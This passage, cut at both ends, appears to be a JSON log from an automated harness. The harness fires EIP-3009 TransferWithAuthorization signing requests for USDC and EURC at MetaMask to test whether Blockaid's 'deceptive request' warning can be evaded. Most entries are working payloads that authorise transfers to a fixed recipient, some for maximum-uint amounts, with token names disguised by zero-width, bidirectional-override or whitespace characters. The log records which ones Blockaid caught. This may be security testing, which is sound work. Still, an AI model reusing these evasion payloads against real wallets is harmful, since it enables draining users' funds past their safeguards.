"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639934\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN3-COMBO-2", "timestamp": "2026-01-31T23:30:55.998Z", "technique": "EIP3009-combo-EURC-empty-hex_short-max_uint-sequential-checksum-v4", "category": "eip3009", "description": "EURC + empty + hex_short + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0x1\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c1664fc6f\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN3-COMBO-3", "timestamp": "2026-01-31T23:31:02.943Z", "technique": "EIP3009-combo-EURC-zwj-unicode_digits-past_2020-sequential-mixed_case-v4", "category": "eip3009", "description": "EURC + zwj + unicode_digits + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EU‍RC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c1664fc6f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN3-COMBO-4", "timestamp": "2026-01-31T23:31:09.471Z", "technique": "EIP3009-combo-EURC-standard-very_large-max_uint-max-mixed_case-v4", "category": "eip3009", "description": "EURC + standard + very_large + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"99999999999999999999999999999999999999999999999999999999999999999999999999999\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN3-COMBO-5", "timestamp": "2026-01-31T23:31:16.012Z", "technique": "EIP3009-combo-USDC-rtl_override-half_max-standard-half_and_half-checksum-v4", "category": "eip3009", "description": "USDC + rtl_override + half_max + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‮USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"57896044618658097711785492504343953926634992332820282019728792003956564819967\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffff00000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN3-COMBO-6", "timestamp": "2026-01-31T23:31:22.986Z", "technique": "EIP3009-combo-EURC-trailing_space-zero-standard-sequential-mixed_case-v4", "category": "eip3009", "description": "EURC + trailing_space + zero + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c1664fc6f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN3-COMBO-7", "timestamp": "2026-01-31T23:31:29.522Z", "technique": "EIP3009-combo-USDC-leading_space-hex_mixed_case-just_now-sequential-checksum-signTypedData", "category": "eip3009", "description": "USDC + leading_space + hex_mixed_case + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\" USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFfFf\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c1664fc6f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN3-COMBO-8", "timestamp": "2026-01-31T23:31:36.053Z", "technique": "EIP3009-combo-USDC-ltr_override-hex_short-far_future-random-mixed_case-signTypedData", "category": "eip3009", "description": "USDC + ltr_override + hex_short + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‭USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0x1\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x740228a14e7d959ec8c04b9da1bdbb86e4d74c6f4610be0650c13ed568df1074\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN3-COMBO-9", "timestamp": "2026-01-31T23:31:42.589Z", "technique": "EIP3009-combo-USDC-carriage_return-padded_64-max_uint-zero-mixed_case-v4", "category": "eip3009", "description": "USDC + carriage_return + padded_64 + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\r Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0000000000000000000000000000000000000000000000000000000000000001\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN3-COMBO-10", "timestamp": "2026-01-31T23:31:49.127Z", "technique": "EIP3009-combo-EURC-zwsp-numeric_small-far_future-random-mixed_case-signTypedData", "category": "eip3009", "description": "EURC + zwsp + numeric_small + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR​C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":999999999999,\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x0c32bc7a7558cc70a41e4a9d578d804cac307d4ed85455543454a19d9761d225\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN3-COMBO-11", "timestamp": "2026-01-31T23:31:55.648Z", "technique": "EIP3009-combo-USDC-invisible_separator-one_million-numeric_ts-zero-mixed_case-v4", "category": "eip3009", "description": "USDC + invisible_separator + one_million + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD⁣ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"1000000000000\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN3-COMBO-12", "timestamp": "2026-01-31T23:32:02.184Z", "technique": "EIP3009-combo-USDC-bidi_isolate-one_million-far_future-leading_zeros_nonce-checksum-signTypedData", "category": "eip3009", "description": "USDC + bidi_isolate + one_million + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"⁦USD Coin⁩\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"1000000000000\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN3-COMBO-13", "timestamp": "2026-01-31T23:32:08.717Z", "technique": "EIP3009-combo-USDC-ltr_override-hex_1m-leading_zeros_ts-mixed_case_hex-mixed_case-signTypedData", "category": "eip3009", "description": "USDC + ltr_override + hex_1m + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‭USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0xe8d4a51000\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0x7dEa09B06033048cFb40D28987C06fEb219a1eBdDa0301996c58F3D63aC9F4Fb\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN3-COMBO-14", "timestamp": "2026-01-31T23:32:15.247Z", "technique": "EIP3009-combo-USDC-ideographic_space-half_max-far_future-sequential-checksum-signTypedData", "category": "eip3009", "description": "USDC + ideographic_space + half_max + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD　Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"57896044618658097711785492504343953926634992332820282019728792003956564819967\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000019c1664fc70\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN4-COMBO-0", "timestamp": "2026-01-31T23:32:21.794Z", "technique": "EIP3009-combo-USDC-newline-hex_1m-past_2020-alternating-lowercase-signTypedData", "category": "eip3009", "description": "USDC + newline + hex_1m + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD\\n Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0xe8d4a51000\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN4-COMBO-1", "timestamp": "2026-01-31T23:32:28.330Z", "technique": "EIP3009-combo-EURC-ltr_override-hex_1m-far_future-all_ones-checksum-v3", "category": "eip3009", "description": "EURC + ltr_override + hex_1m + far_future", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"‭EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"0xe8d4a51000\",\"validAfter\":\"0\",\"validBefore\":\"9999999999999\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN4-COMBO-2", "timestamp": "2026-01-31T23:32:35.242Z", "technique": "EIP3009-combo-EURC-invisible_separator-leading_zeros_many-just_now-leading_zeros_nonce-mixed_case-v3", "category": "eip3009", "description": "EURC + invisible_separator + leading_zeros_many + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR⁣C\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"000000000000000000000000000000000000000000000001000000000000\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN4-COMBO-3", "timestamp": "2026-01-31T23:32:41.777Z", "technique": "EIP3009-combo-USDC-trailing_space-very_large-standard-max-lowercase-v4", "category": "eip3009", "description": "USDC + trailing_space + very_large + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"99999999999999999999999999999999999999999999999999999999999999999999999999999\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN4-COMBO-4", "timestamp": "2026-01-31T23:32:48.721Z", "technique": "EIP3009-combo-USDC-carriage_return-round_100k-narrow_1hr-half_and_half-mixed_case-v3", "category": "eip3009", "description": "USDC + carriage_return + round_100k + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 